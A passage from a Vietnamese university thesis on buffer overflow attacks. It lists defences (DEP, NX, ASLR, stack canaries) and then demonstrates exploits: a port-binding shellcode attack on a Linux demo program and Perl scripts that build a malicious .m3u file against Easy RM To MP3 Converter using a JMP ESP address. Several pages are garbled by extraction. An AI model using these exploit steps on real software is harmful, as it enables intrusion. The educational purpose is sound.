- Address: “\x65\x82\xA5\x7C” (4 Byte)
- Shellcode: "\x31\xdb\xb0\x01\xcd\x80" (6 Byte)
ta có chuỗi tấn công (38Byte):
“A”*8+ “\x65\x82\xA5\x7C”+ “\x90”*2 + "\x31\xdb\xb0\x01\xcd\x80"
Sau khi chèn chuỗi tấn công vừa xây dựng được vào bộ đệm, dữ liệu trong Stack
sẽ có dạng như Hình 17.
\x41\x41\x41\x41 \x41\x41\x41\x41 0x7CA58265 \x90\x90\x31\xdb\xb0\x01\xcd\x80
buffer SavedEBP SavedEIP
Hình 17: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công
ESP register
[0x7CA58265] JUMP ESP
EIP register
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 44
Nhược điểm của phương pháp này so với phương pháp ở trên, đó là dung lượng
mã tấn công thường lớn hơn, và điều này đôi khi là không khả thi trong một vài trường
hợp.
2.5. Các biện pháp phòng chống tấn công lợi dụng lỗi tràn bộ đệm
Nhiều kỹ thuật đa dạng với các ưu nhược điểm khác nhau đã được sử dụng để
phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đơn giản dễ tưởng tượng và
đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại
mức ngôn ngữ lập trình - Tức là lựa chọn một ngôn ngữ lập trình chỉ chứa các hàm thư
viện an toàn để xây dựng chương trình (Java, C#, …). Tuy nhiên do nhiều nguyên
nhân từ thực tế như: Các yêu cầu về mặt kỹ thuật, yêu cầu từ đối tác kinh doanh,... lại
đòi hỏi sử dụng một ngôn ngữ không an toàn. Ví dụ như:
- Nếu sử dụng ngôn ngữ bậc cao với kiểu mạnh,chương trình dịch sẽ buộc phải
kiểm tra kích cỡ và các thao tác cho phép trên các biến, dẫn đến việc phải trả giá về
hiệu suất khi sử dụng tài nguyên và hạn chế truy cập đến phần cứng.
- Khi xây dựng ứng dụng cần một số code của các ngôn ngữ giống C, hoặc sử
dụng các thư viện xây dựng từ trước khi mà vấn đề lỗ hổng tràn bộ nhớ đệm vẫn chưa
được quan tâm đúng mức, dẫn đến vẫn tồn tại các lỗ hổng tràn bộ đệm cho chương
trình.
Vì những lý do trên cho nên để có thể giải quyết lỗ hổng tràn bộ đệm không thể
hoàn toàn giải quyết triệt để ở mức lập trình, mà còn cần phải nhiều kỹ thuật, giải pháp
cả từ phía người lập trình, trình biên dịch và cơ chế quản lý bộ đệm của hệ điều hành.
Thực tế, có hai cách phòng chống được sử dụng rộng rãi: Gia cố chương trình
ngay trong thời gian biên dịch và Kiểm soát tấn công chương trình đang có trong thời
gian chạy. Việc bảo vệ chương trình trong thời gian dịch được thực hiện bởi người lập
trình. Trong khi đó bảo vệ chương trình trong thời gian chạy chủ yếu được quản lý
bằng các cơ chế của trình biên dịch và hệ điều hành.
2.5.1. Bảo vệ trong thời gian dịch
2.5.1.1. Lựa chọn ngôn ngữ lập trình
Lựa chọn về ngôn ngữ lập trình có một ảnh hưởng lớn đối với sự xuất hiện của
lỗi tràn bộ đệm. C và C++ nằm trong số các ngôn ngữ lập trình thông dụng nhất, với
một lượng khổng lồ các phần mềm và thư viện đã được viết bằng hai ngôn ngữ này.
Tuy nhiên C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập hoặc ghi
đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp lệ.
Tuy nhiên, một số thư viện chuẩn của C++ (Thư viện khuôn mẫu chuẩn – STL)
cũng đã cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình
viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Do đó, vấn đề ở đây là mỗi
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 45
lập trình viên phải tự xác định và lựa chọn giữa hạn chế về tốc độ chương trình và độ
an toàn của chương trình.
Ngoài ra, có thể sử dụng một số biến thể của C ví dụ như hạn Cyclone. Cyclone
giúp ngăn chặn tốt hơn các lỗi tràn bộ đệm bằng việc như luôn luôn gắn thông tin về
kích thước mảng với các mảng.
Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc
kiểm tra này gửi một cảnh báo hoặc ngoại lệ khi phát hiện C hoặc C++ ghi đè dữ liệu.
Ví dụ về các ngôn ngữ này rất đa dạng, từ Python tới Ada, từ Lisp tới Modula-2, và từ
Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi kiểm
tra biên đối với tất cả các mảng.
Gần như tất cả các ngôn ngữ thông dịch sẽ bảo vệ chương trình trước các hiện
tượng tràn bộ đệm bằng cách thông báo một trạng thái lỗi (well-defined error). Thông
thường, khi một ngôn ngữ cung cấp đủ thông tin về kiểu để thực hiện kiểm tra biên,
ngôn ngữ đó thường cho phép lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích
tĩnh (Static analysis) có thể loại được nhiều kiểm tra kiểu và biên động, nhưng nếu các
cài đặt không tốt và các trường hợp phức tạp có thể gây ra giảm hiệu năng rất dáng kể.
Do đó, các kỹ sư phần mềm phải cẩn thận cân nhắc giữa chi phí dành cho an toàn và
chi phí về hiệu năng khi quyết định sẽ sử dụng ngôn ngữ nào, và cấu hình như thế nào
cho trình biên dịch .
2.5.1.2. Sử dụng các thư viện an toàn
Trong trường hợp vẫn phải sử dụng các ngôn ngữ không an toàn như C/C++, khi
đó việc cần thiết là sử dụng các thư viện được viết tốt và đã được kiểm thử, dành cho
các kiểu dữ liệu trừu tượng mà các thư viện này thực hiện tự động việc quản lý bộ
nhớtrong đó có kiểm tra biên thay vì sử dụng các hàm thư viện không an toàn có sẵn.
Trong các ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó
các hiện tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ
đệm tại các kiểu dữ liệu này có thể ngăn chặn được phần lớn các lỗi tràn bộ đệm.
Tuy nhiên, việc sử dụng các thư viện an toàn một cách không đúng vẫn có thể
dẫn đến tràn bộ đệm và đôi khi là nảy sinh thêm một số lỗ hổng khác.
Có thể tham khảo một tập các hàm mới an toàn hơn dựa trên các hàm vào ra dữ
liệu và các hàm xử lý xâu ký tự của thư viện C chuẩn tại Báo cáo kỹ thuật số 24731
của hội đồng tiêu chuẩn C Tháng 9 năm 2006 [4]
Các thư viện "an toàn" gồm The Better String Library, Arri Buffer API và Vstr.
Thư viện C của hệ điều hành OpenBSD cung cấp các hàm hữu ích như strlcpy(),
strlcat().
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 46
2.5.1.3. Thiết lập các kỹ thuật lập trình an toàn
Nếu sử dụng ngôn ngữ tiềm ẩn không an toàn như C/C++, lập trình viên cần viết
code an toàn một cách tường minh. Luôn luôn xem an toàn tràn bộ đệm như một trong
các kỹ thuật lập trình an toàn. Chú ý đến các lỗi nhỏ và luôn luôn kiểm tra đủ không
gian trong các bộ đệm được sử dụng.
Có một số phương án như: dịch chương trình với chương trình dịch đặc biệt, sử
dụng các thư viện chuẩn an toàn, các hàm mới an toàn thay thế cho các hàm không an
toàn như strlcpy(). Cài đặt lại an toàn hơn một số hàm chuẩn như thư viện động,
chẳng hạn Libsafe.
2.5.1.4. Sử dụng các công cụ tự đông kiểm tra để rà soát lỗi chương trình
Để phòng ngừa các trường hợp tiềm ẩn lỗi tràn bộ đệm trong chương trình, đã có
một số công cụ gỡ rối tiên tiến đã được phát triển, ví dụ như các công cụ tự động tiêm
lỗi. Cơ chế hoạt động của các công cụ tiêm lỗi này chính là tự động tiêm ngẫu nhiên
dữ liệu nhằm tìm ra các thành phần dễ bị tổn thương của chương trình. Ngoài ra còn có
các công cụ phân tích tĩnh khác có chức năng tìm kiếm khả năng tràn bộ đệm của
chương trình [4].
2.5.2. Bảo vệ trong thời gian chạy
2.5.2.1. Chống tràn bộ nhớ đệm trên stack
Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn
bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi một
hàm trả về. Nếu stack đã bị sửa đổi, chương trình kết thúc bằng một lỗi Segmentation
fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe, StackGuard và các bản vá
lỗi (Patch) ProPolice gcc.
Cơ chế hoạt động đó là sử dụng yếu tố ngẫu nhiên như bảo vệ ngăn xếp, kiểm tra
viết đè giữa biến cục bộ và con trỏ khung lưu trữ và địa chỉ trả về. Nếu phát hiện bộ
đệm bị tràn thì cho chương trình dừng.
2.5.2.2. Chế độ Data Execution Prevention
Chế độ cấm thực thi dữ liệu của Microsoft bảo vệ thẳng các con trỏ tới SEH
Exception Handler, không cho chúng bị ghi đè. Trong ngôn ngữ lập trình Forth có thể
bảo vệ Stack hơn nữa bằng cách phân tách stack thành hai phần, một phần dành cho dữ
liệu và một phần cho các bước trả về của hàm.
Nhược điểm của phương pháp này khi các dữ liệu nhạy cảm không phải địa chỉ
trả về vẫn có thể bị ghi đè đẫn đến chương trình vẫn có thể bị kẻ tấn công khai thác.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 47
2.5.2.3. Bảo vệ không gian thực thi
Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm.
Kỹ thuật này ngăn chặn việc thực thi mã tại Stack hay Heap. Một kẻ tấn công có thể sử
dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình, nhưng
với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một ngoại lệ
(exception).
Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực
thi") hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với
phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu (chẳng
hạn các trang chứa Stack và Heap) là đọc được nhưng không thực thi được [6].
Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính
năng bảo vệ không gian thực thi, các gói phần mềm tùy chọn bao gồm:
- PaX
- Exec-Shield
- Openwall
Các phiên bản mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực
thi, với tên gọi Data-Execution-Prevention (ngăn chặn thực thi dữ liệu). Các phần
mềm gắn kèm (Add-on) bao gồm:
- SecureStack
- OverflowGuard
- BufferShield
- StackDefender
2.5.2.4. Ngẫu nhiên hóa sơ đồ không gian địa chỉ
Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address Space Layout Randomization-
ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các vùng
dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư viện, Heap
và Stack) một cách ngẫu nhiên trong không gian bộ nhớ ảo của một tiến trình [6].
Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm
cho việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, buộc kẻ tấn công phải
điều chỉnh khai thác cho hợp với từng hệ thống cụ thể và còn hạn chế sự lây lan rộng
của các sâu Internet.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 48
2.5.2.5. Kiểm tra sâu đối với gói tin
Biện pháp kiểm tra sâu đối với gói tin (Deep Packet Inspection - DPI) có thể phát
hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ
thuật này có khả năng chặn các gói tin có chứa tín hiệu của một vụ tấn công đã biết
hoặc chứa một chuỗi dài các lệnh No-Operation (NOP) .
Tuy nhiên việc rà soát các gói tin không phải là một phương pháp hiệu quả vì nó
chỉ có thể ngăn chặn các tấn công đã biết và thường yêu cầu năng lực phân tích xử lý
một lượng lớn các gói tin. Hơn nữa, kẻ tấn công có thể sử dụng mã alphanumeric,
metamorphic, và Shellcode có khả năng tự sửa để tránh bị phát hiện bởi việc phân tích
các gói tin.
2.6. Kết chương
Chương 2 giới thiệu tổng quan về cơ chế cấp phát bộ nhớ cho tiến trình và các sơ
hở trong các thư viện của ngôn ngữ lập trình như C/C++. Từ đó phân tích được cách
thức tìm kiếm lỗ hổng và các phương pháp tấn công lợi dụng lỗ hổng tràn bộ đệm trên
các HĐH họ Linux và cả các HĐH họ Windows.
Các lỗ hổng tràn bộ đệm xuất hiện khi các lập trình viên quan tâm không đúng
mực vấn đề tràn bộ đệm, dẫn đến sử dụng các thư viện không an toàn thao tác trên bộ
nhớ mà không có sự kiểm tra hay ràng buộc nào. Kẻ tấn công có thể tìm kiếm lỗ hổng
tràn bộ đệm trong chương trình, từ đó có thể khai thác lỗ hổng đó đế tấn công chương
trình cũng như hệ thống.
Các phương pháp phòng chống, bảo vệ tấn công tràn bộ đệm có thể được áp dụng
tại thời gian biên dịch của chương trình và thời gian chạy của chương trình. Trong khi
các biện pháp bảo vệ tại thời gian dịch thì chủ yếu được thực hiện bởi người lập trình
thì các biện pháp bảo vệ tại thời gian chạy được thực hiện bởi hệ điều hành. Một số
biện pháp bảo vệ phòng chống tấn công tràn bộ đệm thường được sử dụng là: Sử dụng
các thư viện an toàn, chế độ Data Execution Prevention, cơ chế Ngẫu nhiên hoá sơ đồ
không gian địa chỉ, cơ chế Kiểm tra sâu với gói tin và chế độ Bảo vệ không gian thực
thi.
ĐỒ ÁN TỐT NGHIỆP ĐẠI H
SVTH: Nguyễn Thăng Long, l
CHƯƠNG 3: MÔ PH
3.1. Mô phỏng tấn công l
Việc mô phỏng tấn công tr
Chương trình có giao diện d
đối số chuẩn và tiến hành xử lý chuỗi sau đó in ra kết quả l
Mục tiêu tấn công là d
thay đổi luồng thực thi hệ thống, tiến h
nghe các kết nối từ bên ngoài m
Shellcode của quá trình mô ph
chương trình bị tràn, cách th
tả trong phần 2.4.4.
3.1.1. Phát hiện chương tr
Phát hiện được chương tr
trường dữ liệu đầu vào có đ
được thể hiện bằng thông báo:
hiệu nhận biết lỗ hổng tràn b
như trong Hình 18.
Hình 18: Nhận biết tr
3.1.2. Tiến hành debug chương tr
Quá trình debug chương tr
chương trình đang được HĐH sử dụng. Do đó cần tiến h
HĐH của máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công
cụ GDB để debug ngay trong trư
dung lượng của bộ đệm, địa chỉ bắt đầu của bộ đệm đ
chức Stack của chương trình. Cách th
lượt trong các Hình 19, Hình
I HỌC
, lớp D09-CNPM3
MÔ PHỎNG TẤN CÔNG LỖI TRÀN BỘ ĐỆM
n công lỗi tràn bộ đêm trên các HĐH họ Linux
ấn công tràn bộ đệm được thực hiện trên chương tr
ện dòng lệnh (Command Line) nhận dữ liệu đầu v
ử lý chuỗi sau đó in ra kết quả là dòng chữ: normal……
à dựa vào lỗ hổng tràn bộ đệm của chương tr
ệ thống, tiến hành ngầm mở cổng mạng (Binding Port
ên ngoài một cách bất hợp pháp.
ình mô phỏng tấn công này sẽ được đặt tại bộ đệm của chính
thức cài đặt mã tấn công trong trường hợp n
ương trình có lỗ hổng tràn bộ đệm
ương trình có lỗi tràn bộ đệm sau khi tiến hành
ào có độ dài khác nhau. Dấu hiệu chương trình bị tr
ể hiện bằng thông báo: Segmentation Fault (core dumped)
àn bộ đệm tồn tại trong chương trình demo4
ận biết tràn bộ đệm trong chương trình demo4
ành debug chương trình
ương trình nhằm tìm ra được cấu trúc tổ chức bộ nhớ ảo của
ợc HĐH sử dụng. Do đó cần tiến hành trên HĐH gi
ủa máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công
ng trường hợp chương trình bị lỗi tràn bộ đệm, nhằm t
ợng của bộ đệm, địa chỉ bắt đầu của bộ đệm được cấp phát trong Stack v
ình. Cách thức tìm các yêu cầu cần thiết trên đư
Hình 20 và Hình 21 dưới dây.
Kết luận
Page 49
Ộ ĐỆM
trên chương trình demo4.
ận dữ liệu đầu vào thông qua
normal……
ương trình, tấn công
Binding Port), lắng
ợc đặt tại bộ đệm của chính
ờng hợp này đã được mô
ành thử nghiệm các
ị tràn bộ đệm sẽ
Segmentation Fault (core dumped) của HĐH. Dấu
ình demo4 được thể hiện
ình demo4
ợc cấu trúc tổ chức bộ nhớ ảo của
ành trên HĐH giống như
ủa máy cần tấn công. Đối với HĐH Ubuntu, kịch bản tấn công sẽ sử dụng công
ộ đệm, nhằm tìm ra
ợc cấp phát trong Stack và tổ
ên được mô tả lần
ĐỒ ÁN TỐT NGHIỆP ĐẠI H
SVTH: Nguyễn Thăng Long, l
Hình 19:
Hình 19 mô tả quá trình kh
vào có cấu trúc (244 ký tự A + 4 ký tự B + 4 ký tự C
lượng bộ đệm, địa chỉ bộ đệm trong bộ nhớ ảo v
xuất hiện lỗi, các thanh ghi v
hợp thanh ghi ESP sẽ quay về chứa địa chỉ S
Để xem giá trị được lưu trữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tr
dụng lệnh: (gdb) i r (Information
I HỌC
, lớp D09-CNPM3
: Debug chương trình bằng công cụ GDB
ình khởi động công cụ GDB và tiến hành tiêm đo
ự A + 4 ký tự B + 4 ký tự C), nhằm dễ dàng cho vi
ợng bộ đệm, địa chỉ bộ đệm trong bộ nhớ ảo và cấu trúc Stack. Khi ch
ất hiện lỗi, các thanh ghi và dữ liệu trong bộ nhớ sẽ được giữ nguy
ợp thanh ghi ESP sẽ quay về chứa địa chỉ Stack Pointer của hàm trư
ữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tr
(Information Registers).
Kết luận
Page 50
ành tiêm đoạn mã đầu
àng cho việc tìm dung
ấu trúc Stack. Khi chương trình
ợc giữ nguyên, trừ trường
àm trước hàm bị tràn.
ữ trong các thanh ghi tại thời điểm sau khi bộ đệm bị tràn, sử
ĐỒ ÁN TỐT NGHIỆP ĐẠI H
SVTH: Nguyễn Thăng Long, l
Hình 20: Dữ liệu trong các thanh ghi sau thời điểm h
Từ dữ liệu của các thanh ghi sau
thể thấy:
-Chuỗi “BBBB” đã ghi
“0x42424242” là giá trị Hexa c
- Chuỗi “CCCC” đã ghi đè lên v
“0x43434343” là giá trị Hexa c
Do vậy, dựa vào đoạn mã có c
lượng bộ nhớ đệm, vị trí của SavedEIP so v
Cấu trúc của Stack Frame đư
I HỌC
, lớp D09-CNPM3
ữ liệu trong các thanh ghi sau thời điểm hàm bị tr
ừ dữ liệu của các thanh ghi sau thời điểm hàm bị tràn như trong
ã ghi đè lên vị trí của SavedEBP (Thanh ghi EBP ch
Hexa của chuỗi “BBBB”).
hi đè lên vị trí của SavedEIP (Thanh ghi EIP ch
Hexa của chuỗi “CCCC”).
n mã có cấu trúc tiêm vào ta có thể ước lư
a SavedEIP so với bộ nhớ đệm.
Frame được mô tả rõ ràng hơn như trong Hình 21.
Kết luận
Page 51
ị tràn
như trong Hình 20, ta có
a SavedEBP (Thanh ghi EBP chứa giá trị
a SavedEIP (Thanh ghi EIP chứa giá trị
c lượng được dung
ình 21.
ĐỒ ÁN TỐT NGHIỆP ĐẠI H
SVTH: Nguyễn Thăng Long, l
Hình 21: D
3.1.3. Xây dựng chuỗi tấn công:
Dựa vào dữ liệu đầu vào (
trong Stack sau khi bộ đệm b
- Dung lượng của bộ đ
- Địa chỉ bắt đầu của b
- Vị trí của SavedEBP: Ngay sau b
- Vị trí của SavedEIP:
Do vậy, ta sẽ thiết kế mã ban
địa chỉ bộ đệm ghi đè lên SavedEIP là
Phụ lục 2. Cách thức xây dự
I HỌC
, lớp D09-CNPM3
Dữ liệu trong Stack sau khi bộ đệm bị tràn
ựng chuỗi tấn công:
u vào (244 ký tự “A” + 4 ký tự “B” + 4 ký tự “C”
m bị tràn, có thể ước lượng được các kết quả như sau:
đệm : 244Byte
a bộ đệm: 0xbffff0f4
a SavedEBP: Ngay sau bộ đệm với dung lượng 4 Byte
Ngay sau SavedEBP dung lượng 4 Byte
mã ban đầu như mô tả trong Hình 22 dưới đây
m ghi đè lên SavedEIP là 0xbffff104. Shellcode Binding Port
ựng mã input tấn công đã được trình bày trong m
Kết luận
Page 52
“C” ) và dữ liệu
như sau:
i đây, với lựa chọn
Shellcode Binding Port cho như
c trình bày trong mục 2.4.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 53
Hình 22: Xây dựng chuỗi input tấn công
3.1.4. Kết quả demo
Sau khi chuỗi Input tấn công đã được xây dựng xong tiến hành tiêm vào thông
qua bộ nhập của chương trình. Trong ví dụ này sử dụng trình thông dịch ngôn ngữ
kịch bản Python để truyền dữ liệu vào chương trình. Việc sử dụng các cách thức khác
nhau để nhập dữ liệu vào chương trình qua bộ nhập chuẩn giúp mã tấn công được rút
gọn về dung lượng, trực quan và đôi khi còn giúp ích khi muốn truyền các ký tự đặc
biệt hoặc truyền mã qua các gói tin với dung lượng nhỏ. Kết quả của chương trình thể
hiện ở Hình 23.
Hình 23: Chương trình sau khi bị tiêm mã tấn công qua bộ nhập
ĐỒ ÁN TỐT NGHIỆP ĐẠI H
SVTH: Nguyễn Thăng Long, l
Như ta thấy, thể hiện bên ngoài c
ngoại trừ việc không kết thúc m
của chương trình đã bị chuy
tiêm vào, và HĐH vẫn nghĩ r
này sẽ là rất nguy hiểm nế
(ROOT) dẫn đến mã lệnh củ
24 cho thấy HĐH đã thực thi hoàn t
(Cổng 2994 do chương trình demo4 m
pháp.
Hình 24: Kiếm tra các k
Như vậy, các bước tiến hành
cổng lắng nghe kết nối từ bên ngoài đ
Tuy nhiên, việc xây dự
tấn công một chương trình l
chế bảo vệ chương trình từ
thường phức tạp hơn rất nhi
I HỌC
, lớp D09-CNPM3
n bên ngoài của chương trình vẫn không có thay đ
t thúc một cách bình thường. Nguyên nhân là do lu
chuyển hướng sang thực thi mã lệnh trong Shellcode ta v
ĩ rằng những lệnh đó là lệnh mà chương trình th
ếu giả sử một chương trình đang chạy với quy
ủa kẻ tấn công cũng được thực thi với quyền cao nh
c thi hoàn toàn mã Shellcode và cổng kết n
ình demo4 mở) đang lắng nghe các kết nối m
m tra các kết nối đang mở sau khi tấn công chương tr
n hành tấn công chương trình demo4 sử dụng Shellcode m
bên ngoài đã thành công.
ựng cơ chế tấn công ở trên chỉ là một cách th
ình lợi dụng lỗ hổng tràn bộ đệm. Trong thực tế
ừ trình biên dịch và hệ điều hành khiến cho vi
t nhiều.
Kết luận
Page 54
n không có thay đổi đặc biệt
ng. Nguyên nhân là do luồng thực thi
nh trong Shellcode ta vừa
ình thực thi. Việc
i quyền ADMIN
n cao nhất. Hình
t nối 2994/demo4
i một cách bất hợp
n công chương trình
ng Shellcode mở
t cách thức cơ bản để
ế, còn có các cơ
n cho việc tấn công
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 55
3.2. Mô phỏng tấn công lỗi tràn bộ đệm trên HĐH Windows XP
Kịch bản tấn công tràn bộ đệm sẽ tiến hành trên chương trình ứng dụng: Easy RM
To MP3 Converter, version 2.7.3.700. Chương trình có giao diện đồ họa (Graphics
Interface) nhận dữ liệu đầu vào thông qua các tệp tin đa phương tiện và tiến hành xử lý
tệp tin này dựa trên các tùy chọn của người dùng. Hình 25 là giao diện của chương
trình Easy RM To MP3 Converter, version 2.7.3.700.
Hình 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700
Mục tiêu tấn công đó là dựa vào lỗ hổng tràn bộ đệm của chương trình, nhằm tấn
công thay đổi luồng thực thi, tiến hành mở chương trình Calculator sẵn của trên HĐH
windows XP theo như Shellcode trong phụ lục 3.
Shellcode của quá trình mô phỏng tấn công này sẽ được đặt trên Stack Frame
ngay trước Stack Frame của hàm bị tràn. Cách thức đặt mã tấn công cho trường hợp
này đã được mô tả trong phần 2.4.4.
3.2.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm
Chương trình này được mô tả phát hiện lỗi tràn bộ đệm khi nhận xử lý tập tin có
định dạng .m3u. Do đó ta sẽ sử dụng một ngôn ngữ lập trình để tạo tập tin đầu vào này
cho chương trình (Vd như C, C++, Perl …). Trong trường hợp demo này, ta sẽ sử
dụng Perl để tiến hành demo.
Tập tin Perl Script để tạo input cho chương trình Easy RM To MP3 Converter
được xây dựng như Ví dụ 7:
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 56
Ví dụ 7: Chương trình Perl Script tạo file tấn công input.pl
my $file= "input.m3u";
my $junk= "\x41" x 50000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
Tiến hành biên dịch file Perl Script này ta thu được file input.m3u chứa 50000
ký tự “A”. Sau khi đưa tập tin input.m3u vào chương trình Easy RM To MP3
Converter ta nhận thấy chương trình có lỗ hổng tràn bộ đệm như Hình 26.
Hình 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn bộ đệm
Tệp tin thử nghiệm intput.m3u sẽ chứa các giá trị rất dài để thử nghiệm với bộ
đệm của chương trình. Và kết quả sau một thời gian thử nghiệm thì bộ đệm bị tràn và
SavedEIP bị ghi đè thành giá trị “42424242” với đầu vào như sau:
Ví dụ 8: Chương trình Perl Script tạo file tấn công input.pl làm tràn vừa đủ bộ đệm
my $file= "input.m3u";
my $junk= "\x41" x 26056;
my $junk1 = “\x42” x 4;
open($FILE,">$file");
print $FILE $junk.$junk1 ;
close($FILE);
print "m3u File Created successfully\n";
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 57
Từ ví dụ 8, có thể ước lượng được:
- Dung lượng của bộ đệm : 26056Byte
- Vị trí của SavedEBP: Ngay sau bộ đệm với dung lượng 4 Byte
- Vị trí của SavedEIP: Ngay sau SavedEBP dung lượng 4 Byte
3.2.2. Tiến hành debug chương trình
Sử dụng công cụ Ollydmp để Debug chương trình, tìm ra vị trí của ESP của
StackFrame trước so với SavedEIP với input như sau:
Ví dụ 9: Xây dựng chương trình Perl Script tạo file tấn công demo1.pl
my $file= "input.m3u";
my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP
my $savedEIP = "BBBB"; #Ghi de het phan SavedEIP
my $ESP = "123456789123456789"; #Ghi len tren Previous StackFrame
open($FILE,">$file");
print $FILE $buffer.$SavedEIP.$ESP;
close($FILE);
print "m3u File Created successfully\n";
Khi đó, sử dụng chương trình Debug Ollydmg ta thấy như Hình 27.
Hình 27: Tìm vị trí tương đối giữa SavedEIP với ESP của Frevious StackFrame
Từ Hình 27, nhận thấy giá trị được ghi lên ESP là “56789123456789” là thiếu
mất 4 ký tự “1234” ban đầu so với chuỗi ta đặt vào. Do đó có thể kết luận ESP được
đặt cách 4Byte so với SavedEIP
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 58
Do vậy, ta sẽ xây dựng chuỗi tấn công với Shellcode như sau:
Ví dụ 10 Xây dựng chương trình Perl Script tạo file tấn công demo2.pl
my $file= "input.m3u";
my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP
my $savedEIP = "BBBB"; #Ghi de het phan SavedEIP
my $override = “\x90” x 4; #Ghi de len phan giua EIP va ESP
my $shellCode= "123456789"; #Ghi vao PreviousStackFrame [Shell]
open($FILE,">$file");
print $FILE $buffer.$SavedEIP.$override.$shellCode;
close($FILE);
print "m3u File Created successfully\n";
* Tìm địa chỉ lệnh JUMP ESP của chương trình:
Việc tìm địa chỉ lệnh JUMP ESP được tiến hành trên các file .DLL của chương
trình. Không phải file nào cũng có, do đó cần có thời gian để dò tìm. Có một số công
cụ có thể làm việc này như: findjmp.exe, Ollydmg,..
Trong demo này, ta sử dụng Ollydmg, bằng cách load chương trình lên và chọn
mục View/Executable Modules. Sau đó tìm lệnh JUMP ESP trong file SHELL32.DLL
(đối với chương trình này). Kết quả địa chỉ lệnh JUMP ESP được cho như Hình 28.
Hình 28: Tìm địa chỉ lệnh JUMP ESP từ file .DLL bằng Ollydmg
Do đó, địa chỉ sẽ được chèn vào savedEIP chính là 0x7CA58265.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 59
3.2.3. Xây dựng chuỗi tấn công
Theo như cách thức xây dựng mã tấn công theo mục đích ban đầu của demo, mã
chương trình Perl Script tạo file input Shellcode.m3u chứa mã độc sẽ được xây dựng
và mô tả như Hình 29.
Hình 29: Xây dựng chuỗi tấn công chương trình Easy RM To MP3 Converter
3.2.4. Kết quả demo
Hình 30 biểu diễn kết quả demo tấn công tấn công chương trình Easy RM To
MP3 Converter. File Shellcode.m3u sau khi được mở bởi chương trình đã tự động kích
hoạt Shellcode và khởi động được chương trình Calculator.
Hình 30: Kết quả demo tấn công chương trình Easy RM To MP3 Converter
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận
